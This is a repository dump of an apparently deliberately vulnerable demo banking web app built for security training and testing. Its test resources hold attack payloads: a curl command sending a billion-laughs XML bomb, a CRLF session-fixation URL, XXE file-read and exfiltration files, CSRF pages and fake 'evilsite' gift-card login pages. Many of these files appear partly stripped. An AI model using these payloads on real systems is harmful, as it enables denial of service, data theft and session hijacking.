├── .idea ├── .name ├── .gitignore ├── vcs.xml ├── misc.xml ├── azureSettings.xml └── gradle.xml ├── src ├── main │ ├── resources │ │ ├── ESAPI.properties │ │ ├── static │ │ │ ├── images │ │ │ │ ├── about.jpg │ │ │ │ ├── team1.jpg │ │ │ │ ├── team2.jpg │ │ │ │ ├── team3.jpg │ │ │ │ ├── team4.jpg │ │ │ │ ├── home-bg.jpg │ │ │ │ ├── about-img.jpg │ │ │ │ ├── DSC_3976_l.jpeg │ │ │ │ ├── portfolio-img1.jpg │ │ │ │ ├── portfolio-img2.jpg │ │ │ │ ├── portfolio-img3.jpg │ │ │ │ ├── portfolio-img4.jpg │ │ │ │ ├── portfolio-img5.jpg │ │ │ │ ├── portfolio-img6.jpg │ │ │ │ ├── portfolio-img7.jpg │ │ │ │ └── portfolio-img8.jpg │ │ │ ├── fonts │ │ │ │ ├── FontAwesome.otf │ │ │ │ ├── Lane-Narrow.ttf │ │ │ │ ├── LANENAR_-webfont.eot │ │ │ │ ├── LANENAR_-webfont.ttf │ │ │ │ ├── LANENAR_-webfont.woff │ │ │ │ ├── fontawesome-webfont.eot │ │ │ │ ├── fontawesome-webfont.ttf │ │ │ │ ├── fontawesome-webfont.woff │ │ │ │ ├── fontawesome-webfont.woff2 │ │ │ │ ├── glyphicons-halflings-regular.eot │ │ │ │ ├── glyphicons-halflings-regular.ttf │ │ │ │ ├── glyphicons-halflings-regular.woff │ │ │ │ └── glyphicons-halflings-regular.woff2 │ │ │ ├── css │ │ │ │ └── nivo_themes │ │ │ │ │ └── default │ │ │ │ │ ├── close.png │ │ │ │ │ ├── next.png │ │ │ │ │ ├── prev.png │ │ │ │ │ ├── close@2x.png │ │ │ │ │ ├── loading.gif │ │ │ │ │ ├── next@2x.png │ │ │ │ │ ├── prev@2x.png │ │ │ │ │ ├── loading@2x.gif │ │ │ │ │ └── default.css │ │ │ ├── evilsite │ │ │ │ ├── dontuseutf16.html │ │ │ │ ├── login.html │ │ │ │ ├── changepassword.html │ │ │ │ └── csrf.html │ │ │ └── js │ │ │ │ ├── custom.js │ │ │ │ └── imagesloaded.min.js │ │ ├── application.properties │ │ ├── log4j.xml │ │ ├── logback.xml │ │ └── data.sql │ ├── webapp │ │ ├── secret │ │ ├── robots.txt │ │ ├── csrf.jsp │ │ ├── WEB-INF │ │ │ ├── json │ │ │ │ ├── error.jsp │ │ │ │ └── account.jsp │ │ │ ├── accounts.jsp │ │ │ └── messages.jsp │ │ ├── adminLogin.html │ │ └── xssoverjsontest.html │ ├── java │ │ └── com │ │ │ └── joshcummings │ │ │ └── codeplay │ │ │ └── terracotta │ │ │ ├── servlet │ │ │ ├── ErrorServlet.java │ │ │ ├── LogoutServlet.java │ │ │ ├── AdminLoginServlet.java │ │ │ ├── MessagesServlet.java │ │ │ ├── ContactUsServlet.java │ │ │ ├── EmployeeLoginServlet.java │ │ │ ├── CheckLookupServlet.java │ │ │ ├── AccountServlet.java │ │ │ ├── SiteStatisticsServlet.java │ │ │ ├── ForgotPasswordServlet.java │ │ │ ├── DocumentServlet.java │ │ │ └── TransferMoneyServlet.java │ │ │ ├── service │ │ │ ├── passwords │ │ │ │ ├── Evaluation.java │ │ │ │ ├── PasswordEntropyEvaluator.java │ │ │ │ └── WeakPasswordEntropyEvaluator.java │ │ │ ├── MessageService.java │ │ │ ├── UserService.java │ │ │ ├── ServiceSupport.java │ │ │ ├── EmailService.java │ │ │ ├── TransactionService.java │ │ │ ├── ClientService.java │ │ │ └── CheckService.java │ │ │ ├── model │ │ │ ├── Transaction.java │ │ │ ├── Check.java │ │ │ ├── Message.java │ │ │ ├── Account.java │ │ │ ├── Client.java │ │ │ └── User.java │ │ │ ├── Mainer.java │ │ │ ├── app │ │ │ ├── InMemoryAppender.java │ │ │ └── UserFilter.java │ │ │ └── metrics │ │ │ └── RequestClassificationFilter.java │ └── jib │ │ └── context.xml ├── test │ ├── resources │ │ ├── check.png │ │ └── sample-csp-report │ ├── webapp │ │ ├── newtab.html │ │ └── csrf.html │ └── java │ │ └── com │ │ └── joshcummings │ │ └── codeplay │ │ └── terracotta │ │ ├── testng │ │ ├── TestConstants.java │ │ ├── TomcatSupport.java │ │ ├── ProxySupport.java │ │ ├── SeleniumSupport.java │ │ └── DockerSupport.java │ │ ├── ShowMessagesFunctionalTest.java │ │ ├── LookupCheckFunctionalTest.java │ │ ├── ShowAccountsFunctionalTest.java │ │ ├── RegisterFunctionalTest.java │ │ ├── MakeDepositFunctionalTest.java │ │ ├── ForgotPasswordFunctionalTest.java │ │ ├── AdminLookupCheckFunctionalTest.java │ │ ├── AbstractEmbeddedTomcatTest.java │ │ ├── SendMessageFunctionalTest.java │ │ ├── ChangePasswordFunctionalTest.java │ │ ├── AdminLoginFunctionalTest.java │ │ ├── LoginFunctionalTest.java │ │ ├── TransferMoneyFunctionalTest.java │ │ ├── app │ │ └── RequestLogFilterTests.java │ │ └── BankTransferFunctionalTest.java ├── vulnerability-test │ ├── resources │ │ ├── check.png │ │ ├── xxe │ │ │ ├── send.dtd │ │ │ ├── cdata.dtd │ │ │ ├── billions.sh │ │ │ ├── readfiles.xml │ │ │ ├── generalentity.xml │ │ │ ├── xinclude.xml │ │ │ ├── exfiltration.xml │ │ │ ├── parameterentity.xml │ │ │ └── billionlaughs.xml │ │ ├── openredirect │ │ │ └── sessionfixation.url │ │ ├── csrf │ │ │ ├── cat.jpg │ │ │ ├── like.png │ │ │ ├── tinyimage.html │ │ │ └── tinypost.html │ │ ├── serialization │ │ │ ├── rce.out │ │ │ └── rce.json │ │ ├── maliciousfileupload │ │ │ ├── cmd.zip │ │ │ ├── test.zip │ │ │ ├── cmd.jsp │ │ │ └── src │ │ │ │ └── main │ │ │ │ └── webapp │ │ │ │ └── cmd.jsp │ │ ├── messaging │ │ │ └── bankTransfer.xml │ │ ├── loginjection │ │ │ └── request.log │ │ ├── testng-password.xml │ │ ├── testng-bruteforce.xml │ │ ├── testng-http.xml │ │ ├── testng-filesystem.xml │ │ ├── testng-passwordstorage.xml │ │ ├── sample-csp-report │ │ ├── testng-passwordupdate.xml │ │ └── testng.xml │ ├── webapp │ │ ├── newtab.html │ │ └── csrf.html │ └── java │ │ └── com │ │ └── joshcummings │ │ └── codeplay │ │ ├── terracotta │ │ ├── testng │ │ │ ├── CrlfCheatSheet.java │ │ │ └── XssCheatSheet.java │ │ ├── AdminLoginFunctionalTest.java │ │ ├── service │ │ │ └── UserServiceTest.java │ │ ├── CharsetTests.java │ │ ├── AdminViewMessagesFunctionalTest.java │ │ ├── AbstractEmbeddedTomcatTest.java │ │ ├── SiteStatisticsFunctionalTest.java │ │ ├── CheckLookupFunctionalTest.java │ │ └── app │ │ │ └── RequestLogFilterVTests.java │ │ └── tools │ │ └── BruteForceTester.java └── jmh │ └── java │ └── com │ └── joshcummings │ └── codeplay │ └── terracotta │ ├── CheckPasswordBenchmark.java │ └── PasswordWorkFactorBenchmark.java ├── settings.gradle ├── terraform-azure ├── versions.tf ├── parseyaml.py ├── outputs.tf ├── variables.tf └── main.tf ├── evil └── realImage.jpg ├── gradle └── wrapper │ ├── gradle-wrapper.jar │ └── gradle-wrapper.properties ├── docs ├── install-the-java-agent.html └── java-quick-start-guide.html ├── .dockerignore ├── Dockerfile.test ├── scripts ├── stop.ps1 ├── stop.sh └── start.ps1 ├── Dockerfile ├── .gitignore ├── gradlew.bat └── README.md /.idea/.name: -------------------------------------------------------------------------------- 1 | terracotta-bank-servlet -------------------------------------------------------------------------------- /src/main/resources/ESAPI.properties: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /src/main/webapp/secret: -------------------------------------------------------------------------------- 1 | 1o2neo12ieno -------------------------------------------------------------------------------- /src/test/resources/check.png: -------------------------------------------------------------------------------- 1 | not really an image -------------------------------------------------------------------------------- /src/vulnerability-test/resources/check.png: -------------------------------------------------------------------------------- 1 | not really an image -------------------------------------------------------------------------------- /settings.gradle: -------------------------------------------------------------------------------- 1 | rootProject.name = 'terracotta-bank-servlet' 2 | -------------------------------------------------------------------------------- /.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /shelf/ 3 | /workspace.xml 4 | -------------------------------------------------------------------------------- /terraform-azure/versions.tf: -------------------------------------------------------------------------------- 1 | 2 | terraform { 3 | required_version = ">= 0.12" 4 | } 5 | -------------------------------------------------------------------------------- /src/main/webapp/robots.txt: -------------------------------------------------------------------------------- 1 | User-agent: * 2 | Disallow: /adminLogin,/siteStatistics,/employee.jsp -------------------------------------------------------------------------------- /evil/realImage.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/demo-terracotta-bank/main/evil/realImage.jpg -------------------------------------------------------------------------------- /src/main/webapp/csrf.jsp: -------------------------------------------------------------------------------- 1 | <%@ page language="java" contentType="text/html; charset=ISO-8859-1" pageEncoding="ISO-8859-1"%>${csrfToken} -------------------------------------------------------------------------------- /src/vulnerability-test/resources/xxe/send.dtd: -------------------------------------------------------------------------------- 1 | " > 2 | %all; -------------------------------------------------------------------------------- /src/vulnerability-test/resources/xxe/cdata.dtd: -------------------------------------------------------------------------------- 1 | 2 | "> 3 | -------------------------------------------------------------------------------- /gradle/wrapper/gradle-wrapper.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/demo-terracotta-bank/main/gradle/wrapper/gradle-wrapper.jar -------------------------------------------------------------------------------- /src/vulnerability-test/resources/xxe/billions.sh: -------------------------------------------------------------------------------- 1 | curl -H "Content-Type: application/xml" http://192.168.0.29:8080 --data "@billionlaughs.xml" 2 | -------------------------------------------------------------------------------- /src/vulnerability-test/resources/openredirect/sessionfixation.url: -------------------------------------------------------------------------------- 1 | http://localhost:8080?relay=index.jsp?c=value%E5%98%8A%E5%98%8DSet-Cookie: JSESSIONID= -------------------------------------------------------------------------------- /src/main/resources/static/images/about.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/demo-terracotta-bank/main/src/main/resources/static/images/about.jpg -------------------------------------------------------------------------------- /src/main/resources/static/images/team1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/demo-terracotta-bank/main/src/main/resources/static/images/team1.jpg -------------------------------------------------------------------------------- /src/main/resources/static/images/team2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/demo-terracotta-bank/main/src/main/resources/static/images/team2.jpg -------------------------------------------------------------------------------- /src/main/resources/static/images/team3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/demo-terracotta-bank/main/src/main/resources/static/images/team3.jpg -------------------------------------------------------------------------------- /src/main/resources/static/images/team4.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/demo-terracotta-bank/main/src/main/resources/static/images/team4.jpg -------------------------------------------------------------------------------- /src/main/resources/static/images/home-bg.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/demo-terracotta-bank/main/src/main/resources/static/images/home-bg.jpg -------------------------------------------------------------------------------- /src/vulnerability-test/resources/csrf/cat.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/demo-terracotta-bank/main/src/vulnerability-test/resources/csrf/cat.jpg -------------------------------------------------------------------------------- /terraform-azure/parseyaml.py: -------------------------------------------------------------------------------- 1 | import yaml, json 2 | with open('../contrast_security.yaml') as f: 3 | config = yaml.load(f) 4 | print(json.dumps(config['api'])) -------------------------------------------------------------------------------- /src/main/resources/static/fonts/FontAwesome.otf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/demo-terracotta-bank/main/src/main/resources/static/fonts/FontAwesome.otf -------------------------------------------------------------------------------- /src/main/resources/static/fonts/Lane-Narrow.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/demo-terracotta-bank/main/src/main/resources/static/fonts/Lane-Narrow.ttf -------------------------------------------------------------------------------- /src/main/resources/static/images/about-img.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/demo-terracotta-bank/main/src/main/resources/static/images/about-img.jpg -------------------------------------------------------------------------------- /src/vulnerability-test/resources/csrf/like.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/demo-terracotta-bank/main/src/vulnerability-test/resources/csrf/like.png -------------------------------------------------------------------------------- /src/vulnerability-test/resources/csrf/tinyimage.html: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /src/main/resources/static/images/DSC_3976_l.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/demo-terracotta-bank/main/src/main/resources/static/images/DSC_3976_l.jpeg -------------------------------------------------------------------------------- /src/main/resources/static/fonts/LANENAR_-webfont.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/demo-terracotta-bank/main/src/main/resources/static/fonts/LANENAR_-webfont.eot -------------------------------------------------------------------------------- /src/main/resources/static/fonts/LANENAR_-webfont.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/demo-terracotta-bank/main/src/main/resources/static/fonts/LANENAR_-webfont.ttf -------------------------------------------------------------------------------- /src/main/resources/static/images/portfolio-img1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/demo-terracotta-bank/main/src/main/resources/static/images/portfolio-img1.jpg -------------------------------------------------------------------------------- /src/main/resources/static/images/portfolio-img2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/demo-terracotta-bank/main/src/main/resources/static/images/portfolio-img2.jpg -------------------------------------------------------------------------------- /src/main/resources/static/images/portfolio-img3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/demo-terracotta-bank/main/src/main/resources/static/images/portfolio-img3.jpg -------------------------------------------------------------------------------- /src/main/resources/static/images/portfolio-img4.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/demo-terracotta-bank/main/src/main/resources/static/images/portfolio-img4.jpg -------------------------------------------------------------------------------- /src/main/resources/static/images/portfolio-img5.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/demo-terracotta-bank/main/src/main/resources/static/images/portfolio-img5.jpg -------------------------------------------------------------------------------- /src/main/resources/static/images/portfolio-img6.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/demo-terracotta-bank/main/src/main/resources/static/images/portfolio-img6.jpg -------------------------------------------------------------------------------- /src/main/resources/static/images/portfolio-img7.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/demo-terracotta-bank/main/src/main/resources/static/images/portfolio-img7.jpg -------------------------------------------------------------------------------- /src/main/resources/static/images/portfolio-img8.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/demo-terracotta-bank/main/src/main/resources/static/images/portfolio-img8.jpg -------------------------------------------------------------------------------- /src/main/resources/static/fonts/LANENAR_-webfont.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/demo-terracotta-bank/main/src/main/resources/static/fonts/LANENAR_-webfont.woff -------------------------------------------------------------------------------- /src/main/resources/static/fonts/fontawesome-webfont.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/demo-terracotta-bank/main/src/main/resources/static/fonts/fontawesome-webfont.eot -------------------------------------------------------------------------------- /src/main/resources/static/fonts/fontawesome-webfont.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/demo-terracotta-bank/main/src/main/resources/static/fonts/fontawesome-webfont.ttf -------------------------------------------------------------------------------- /src/main/webapp/WEB-INF/json/error.jsp: -------------------------------------------------------------------------------- 1 | <%@ page language="java" contentType="text/html; charset=ISO-8859-1" 2 | pageEncoding="ISO-8859-1"%> 3 | { 4 | "message" : "${message}" 5 | } -------------------------------------------------------------------------------- /src/vulnerability-test/resources/serialization/rce.out: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/demo-terracotta-bank/main/src/vulnerability-test/resources/serialization/rce.out -------------------------------------------------------------------------------- /src/main/resources/static/fonts/fontawesome-webfont.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/demo-terracotta-bank/main/src/main/resources/static/fonts/fontawesome-webfont.woff -------------------------------------------------------------------------------- /src/main/resources/static/fonts/fontawesome-webfont.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/demo-terracotta-bank/main/src/main/resources/static/fonts/fontawesome-webfont.woff2 -------------------------------------------------------------------------------- /src/main/resources/static/css/nivo_themes/default/close.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/demo-terracotta-bank/main/src/main/resources/static/css/nivo_themes/default/close.png -------------------------------------------------------------------------------- /src/main/resources/static/css/nivo_themes/default/next.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/demo-terracotta-bank/main/src/main/resources/static/css/nivo_themes/default/next.png -------------------------------------------------------------------------------- /src/main/resources/static/css/nivo_themes/default/prev.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/demo-terracotta-bank/main/src/main/resources/static/css/nivo_themes/default/prev.png -------------------------------------------------------------------------------- /src/vulnerability-test/resources/maliciousfileupload/cmd.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/demo-terracotta-bank/main/src/vulnerability-test/resources/maliciousfileupload/cmd.zip -------------------------------------------------------------------------------- /src/vulnerability-test/resources/messaging/bankTransfer.xml: -------------------------------------------------------------------------------- 1 | 2 | 92938340 3 | 987654322 4 | 92.00 5 | 6 | -------------------------------------------------------------------------------- /.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /src/main/resources/static/css/nivo_themes/default/close@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/demo-terracotta-bank/main/src/main/resources/static/css/nivo_themes/default/close@2x.png -------------------------------------------------------------------------------- /src/main/resources/static/css/nivo_themes/default/loading.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/demo-terracotta-bank/main/src/main/resources/static/css/nivo_themes/default/loading.gif -------------------------------------------------------------------------------- /src/main/resources/static/css/nivo_themes/default/next@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/demo-terracotta-bank/main/src/main/resources/static/css/nivo_themes/default/next@2x.png -------------------------------------------------------------------------------- /src/main/resources/static/css/nivo_themes/default/prev@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/demo-terracotta-bank/main/src/main/resources/static/css/nivo_themes/default/prev@2x.png -------------------------------------------------------------------------------- /src/vulnerability-test/resources/maliciousfileupload/test.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/demo-terracotta-bank/main/src/vulnerability-test/resources/maliciousfileupload/test.zip -------------------------------------------------------------------------------- /src/main/resources/static/css/nivo_themes/default/loading@2x.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/demo-terracotta-bank/main/src/main/resources/static/css/nivo_themes/default/loading@2x.gif -------------------------------------------------------------------------------- /src/main/resources/static/fonts/glyphicons-halflings-regular.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/demo-terracotta-bank/main/src/main/resources/static/fonts/glyphicons-halflings-regular.eot -------------------------------------------------------------------------------- /src/main/resources/static/fonts/glyphicons-halflings-regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/demo-terracotta-bank/main/src/main/resources/static/fonts/glyphicons-halflings-regular.ttf -------------------------------------------------------------------------------- /src/main/resources/static/fonts/glyphicons-halflings-regular.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/demo-terracotta-bank/main/src/main/resources/static/fonts/glyphicons-halflings-regular.woff -------------------------------------------------------------------------------- /src/main/resources/static/fonts/glyphicons-halflings-regular.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/demo-terracotta-bank/main/src/main/resources/static/fonts/glyphicons-halflings-regular.woff2 -------------------------------------------------------------------------------- /src/vulnerability-test/resources/xxe/readfiles.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /src/vulnerability-test/resources/xxe/generalentity.xml: -------------------------------------------------------------------------------- 1 | 3 | ]> 4 | &xxe; 5 | 6 | -------------------------------------------------------------------------------- /src/main/webapp/WEB-INF/json/account.jsp: -------------------------------------------------------------------------------- 1 | <%@ page language="java" contentType="application/json; charset=ISO-8859-1" 2 | pageEncoding="ISO-8859-1"%> 3 | { 4 | "number" : ${account.number}, 5 | "amount" : ${account.amount} 6 | } -------------------------------------------------------------------------------- /src/vulnerability-test/resources/xxe/xinclude.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /docs/install-the-java-agent.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /docs/java-quick-start-guide.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /src/main/resources/application.properties: -------------------------------------------------------------------------------- 1 | spring.datasource.url=jdbc:hsqldb:mem:db 2 | spring.datasource.username=user 3 | spring.datasource.password=password 4 | 5 | mailjet.api.key=key 6 | mailjet.api.secret=secret 7 | server.error.path=/error 8 | -------------------------------------------------------------------------------- /src/test/webapp/newtab.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Insert title here 6 | 7 | 8 | 11 | 12 | -------------------------------------------------------------------------------- /src/vulnerability-test/webapp/newtab.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Insert title here 6 | 7 | 8 | 11 | 12 | -------------------------------------------------------------------------------- /src/vulnerability-test/resources/xxe/exfiltration.xml: -------------------------------------------------------------------------------- 1 | 3 | 4 | 5 | %dtd; 6 | %send; 7 | ]> 8 | -------------------------------------------------------------------------------- /.dockerignore: -------------------------------------------------------------------------------- 1 | contrast_security.yaml 2 | contrast.jar 3 | 4 | #exclude hidden 5 | .gradle 6 | .idea 7 | .terraform 8 | 9 | #exclude build 10 | bin/* 11 | cache/* 12 | 13 | #exclude 14 | Dockerfile 15 | Dockerfile.test 16 | *.sh 17 | *.tf 18 | *.tfstate 19 | *.tfvars 20 | -------------------------------------------------------------------------------- /.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /src/test/java/com/joshcummings/codeplay/terracotta/testng/TestConstants.java: -------------------------------------------------------------------------------- 1 | package com.joshcummings.codeplay.terracotta.testng; 2 | 3 | public class TestConstants { 4 | public static final String host = "honestsite.com"; 5 | public static final String evilHost = "evilsite.com"; 6 | } 7 | -------------------------------------------------------------------------------- /src/vulnerability-test/resources/xxe/parameterentity.xml: -------------------------------------------------------------------------------- 1 | 3 | 4 | %dtd; 5 | %all; 6 | ]> 7 | &all; -------------------------------------------------------------------------------- /gradle/wrapper/gradle-wrapper.properties: -------------------------------------------------------------------------------- 1 | distributionBase=GRADLE_USER_HOME 2 | distributionPath=wrapper/dists 3 | distributionUrl=https\://services.gradle.org/distributions/gradle-8.12.1-all.zip 4 | networkTimeout=10000 5 | validateDistributionUrl=true 6 | zipStoreBase=GRADLE_USER_HOME 7 | zipStorePath=wrapper/dists 8 | -------------------------------------------------------------------------------- /.idea/azureSettings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 6 | -------------------------------------------------------------------------------- /src/vulnerability-test/resources/loginjection/request.log: -------------------------------------------------------------------------------- 1 | 3, result=200, duration=4}
2019-04-03 14:40:02.746 [http-nio-8080-exec-2] INFO c.j.c.t.app.RequestLogFilter - {requestId=86c0a2ae-6382-48f8-9b9a-431da10d5de9, sessionId=NDQwNDQ0OTRDODMwOUU0RUFDNjNCNkFGREQxRTY1MTI=, userId=-1, action=/siteStatistics, result=200, duration=2} -------------------------------------------------------------------------------- /src/vulnerability-test/resources/testng-password.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | -------------------------------------------------------------------------------- /src/vulnerability-test/resources/testng-bruteforce.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | -------------------------------------------------------------------------------- /src/vulnerability-test/resources/testng-http.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | -------------------------------------------------------------------------------- /src/vulnerability-test/resources/testng-filesystem.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | -------------------------------------------------------------------------------- /src/vulnerability-test/resources/testng-passwordstorage.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | -------------------------------------------------------------------------------- /terraform-azure/outputs.tf: -------------------------------------------------------------------------------- 1 | output "ip_address" { 2 | value = azurerm_container_group.app.ip_address 3 | } 4 | 5 | #the dns fqdn of the container group if dns_name_label is set 6 | output "fqdn" { 7 | value = "http://${azurerm_container_group.app.fqdn}:8080" 8 | } 9 | 10 | output "contrast" { 11 | value = "This app should appear in the environment ${data.external.yaml.result.url}" 12 | } 13 | 14 | -------------------------------------------------------------------------------- /src/test/resources/sample-csp-report: -------------------------------------------------------------------------------- 1 | {"csp-report":{"blocked-uri":"self","document-uri":"http://localhost:8080/", "original-policy":"default-src http://localhost:8080 http://fonts.googleapis.com; report-uri http://localhost:8080/cspViolation", "referrer":"","script-sample":"onsubmit attribute on DIV element","source-file":"http://localhost:8080/","violated-directive":"default-src http://localhost:8080 http://fonts.googleapis.com"}} -------------------------------------------------------------------------------- /src/main/webapp/adminLogin.html: -------------------------------------------------------------------------------- 1 | 2 | 3 |
4 | 5 | 6 | 7 |
8 | 9 | -------------------------------------------------------------------------------- /src/main/webapp/xssoverjsontest.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Insert title here 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 |
14 | 15 | -------------------------------------------------------------------------------- /src/vulnerability-test/resources/sample-csp-report: -------------------------------------------------------------------------------- 1 | {"csp-report":{"blocked-uri":"self","document-uri":"http://localhost:8080/", "original-policy":"default-src http://localhost:8080 http://fonts.googleapis.com; report-uri http://localhost:8080/cspViolation", "referrer":"","script-sample":"onsubmit attribute on DIV element","source-file":"http://localhost:8080/","violated-directive":"default-src http://localhost:8080 http://fonts.googleapis.com"}} -------------------------------------------------------------------------------- /src/main/resources/static/evilsite/dontuseutf16.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Insert title here 6 | 7 | 8 |
9 | 10 | $50 Gift Card for Joining Today! 11 |
12 | 13 | -------------------------------------------------------------------------------- /src/vulnerability-test/resources/testng-passwordupdate.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /src/vulnerability-test/resources/csrf/tinypost.html: -------------------------------------------------------------------------------- 1 | 2 |
5 | 6 | 7 |
8 | 10 |
-------------------------------------------------------------------------------- /Dockerfile.test: -------------------------------------------------------------------------------- 1 | FROM openjdk:8-jdk 2 | 3 | # Install Firefox and dependencies 4 | RUN apt-get update && apt-get install -y firefox-esr unzip wget 5 | 6 | # Install Selenium 7 | RUN wget -O /tmp/selenium-server-standalone.jar https://selenium-release.storage.googleapis.com/3.141/selenium-server-standalone-3.141.59.jar 8 | 9 | ADD . /app 10 | 11 | WORKDIR /app 12 | 13 | #Add Contrast agent 14 | COPY --from=contrast/agent-java:latest /contrast/contrast-agent.jar contrast.jar 15 | 16 | RUN ./gradlew build -x test --stacktrace 17 | 18 | ENTRYPOINT [ "./gradlew", "cleanTest", "test" ] -------------------------------------------------------------------------------- /src/main/resources/log4j.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | 6 | 7 | 8 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | -------------------------------------------------------------------------------- /src/main/resources/static/evilsite/login.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Insert title here 6 | 7 | 8 |
9 | 10 | 11 | $50 Gift Card for Joining Today! 12 |
